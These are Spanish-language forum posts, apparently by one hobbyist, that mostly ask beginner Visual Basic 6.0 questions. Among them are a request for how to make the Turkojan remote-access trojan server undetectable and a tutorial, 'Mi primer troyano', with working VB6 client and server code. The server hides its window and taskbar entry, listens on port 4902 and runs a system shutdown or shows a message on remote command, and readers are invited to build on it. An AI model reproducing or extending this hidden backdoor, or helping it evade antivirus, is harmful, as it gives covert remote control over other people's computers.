Temas

  Hola.tengo una duda de visual basic 6.0 nosé como hacer para que visual basic 6.0 o el formulario copie un archivo y lo pegue en otra direccion ejemplo : Hay un bloc de notas en el c:\asd.txt yo con visual basic 6.0 lo copio y lo pego en archivos de programa quedaria asi c:\archivos de programas\asd.txt

alguien sabe como hacer esto?

  Hola.hace mucho que no vicito el foro pero siguiento con el th   

Bueno yo tengo un router & modem los 2 estan avierto los puertos osea que los puertos del router estan abiertos los del firewall tambien.Pero cuando pruebo el server ya no conecta tambien testie el port con turkojan 4.0 herramientas locales>Probar puertos me dice que el puerto tiene un problema como puedo arreglar esto  ..?

Hola.Alguien sabe como puedo hacer al server de turkojan indetectable.Desde ya gracias ^^.

Hola.quisiera saber como abrir un bloc de notas y leerlo en una caja de texto en visual basic 6.0.Alo que me refiero es que lo que tiene escrito el bloc de notas se pueda leer en una caja de texto.Gracias

Hola,estaba haciendo un programa que usa sendkeys.El problema ahora que cuando pongo sendkeys en un timer y el timer tienen intervalo digamos 50,30,1 se lagea todo.Quisiera saber si ahi algun metodo para que el sendkeys no lague cuando hay intervalo bajo.O bien diganme otra forma de como hago que un timer presione una tecla rapido sin laguear Gracias -

                                                                    Problema de host

Hola.queria saber algo yo tengo speedy ok 3mb ok banda ancha ok .Ahora yo puedo hostear cualquier server con mi ip de internet todo bien.Ahora cuando cambie de sistema operativo al 7 no me deja hostear un poroto.ahora cuando hago el test dice que tengo 2mb.34  probe con no-ip Mi ip desactivar firewall anti-virus,Y caca con los unicos medio que puedo hostiar son con LocalHost , 127.0.0.1 y la ip de lan XXX.XXX.XXX.X Ayudaaaaaaaaaaaa!!!!!!!!!!!!!!!!!!!!!!!!!!

                                                                        [Mi primer troyano]
Programas necesitados : Visual basic 6.0
Hola,buenos dias.Me pase por algunos post y encontre que mucha gente trata de hacer su primer troyano.Este es un troyano simple.Espero que comprendan que no deben copiar & pegar deben estudiar este codigo.Para avansar mas con el.


Bueno,Abrimos visual basic 6.0 Colocamos 2 label 2 textbox 2 botones(Dos botones por ahora) El primer commandbuton se va a llamar "Conectar" El segundo CommandButon "Desconectar"
Label1: Se va a llamar Ip/Host :
Label2: Se va a llamar Puerto :

Lo acomodon como ustedes quieran.Bueno agregamos el componente winsock y le ponemos el nombre Sock1 o como ustedes quieran

Código [Seleccionar] Expandir

En el command1(Conectar) Lo clickeamos 2 veces Adentro de el commandbuton1(Conectar) Colocamos el sigiente codigo
Sock1.close 'Cierra todas las conexiones
Sock1.connect text1.text,text2.text 'el text1.text es donde se ingresa la ip el text2.text el puerto

Listo el command1 lo tenemos listo ahora vamos al command2 lo clikeamos 2 veces.Adentro del commandbutton2 colocamos el sigiente codigo :

Código [Seleccionar] Expandir

Sock1.close ' Cierra todas las conexiones

Ahora agregamos el boton3 commandbutton3 en propiedades eligimos el caption en caption escribimos Shutdown.Adentro del commandbutton3 ponemos :

Código [Seleccionar] Expandir

If Winsock1.State = 7 Then 'Verifica que el winsock este conectado 7 = Conectado
    Winsock1.SendData "Shutdown" 'envia una señal al servidor la señal "Shutdown"
Else 'Si no estamos conectado pasa lo sigiente
    MsgBox "Error necesitas estar conectado.", vbInformation, "Error :"
End If
end sub


Ahora generamos el exe File>Make to exe lo guardamos.Ahora Hacemos otro proyecto que seria el servidor.Elegimos el exe standar ahora clickeamos 2 veces el formulario ponemos lo sigiente

Código [Seleccionar] Expandir


Me.Visible = False
App.TaskVisible = False 
App.Title = ""

Winsock1.LocalPort = "4902"
Winsock1.Listen

Ahora agregamos el componente winsock1 y una ves colocado en el formulario ponen en general clickear 2 veces form load ... y ponen el sigiente codigo en declaraciones

Private Const SPLITTER As String = "{Ex}"

Código [Seleccionar] Expandir


Private Sub Winsock1_Close()
Winsock1.Close
Winsock1.LocalPort = "4902"
Winsock1.Listen
End Sub

Private Sub Winsock1_ConnectionRequest(ByVal requestID As Long)
Winsock1.Close
Winsock1.Accept requestID
End Sub

Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)
Dim Temp As String
Dim Temp2() As String

Winsock1.GetData Temp
Temp2 = Split(Temp, SPLITTER)
'SPLITTER which = "{Ex}"
Select Case Temp2(0)
    Case "Shutdown"
    Shell "shutdown -s -t 00" ' Esta es la señal de shutdown
    Case "Message"
    MsgBox Temp2(1)
End Select
End Sub


                                                                      Winsock SendData

Hola.¿Alguien sabe como puedo que el servidor mande las palabras que estan escritas en el textbox?.Por ejemplo yo escribo en el servidor "Hola" en la caja de texto y que eso se mande por medio de un timer que llege al textbox del cliente.No pude resolver eso,Espero sus respuestas gracias.

Recuerden: Esto lo necesito para visual basic 6.0

Posdata:
Hola,espero que me reciban en su comúnidad.Espero que alla un espacio demas   y que no alla problemas conmigo,solo quiero aprender a programar & hacer amigos.No vine a bardear ni nada.Asi que espero que me traten bien gracias.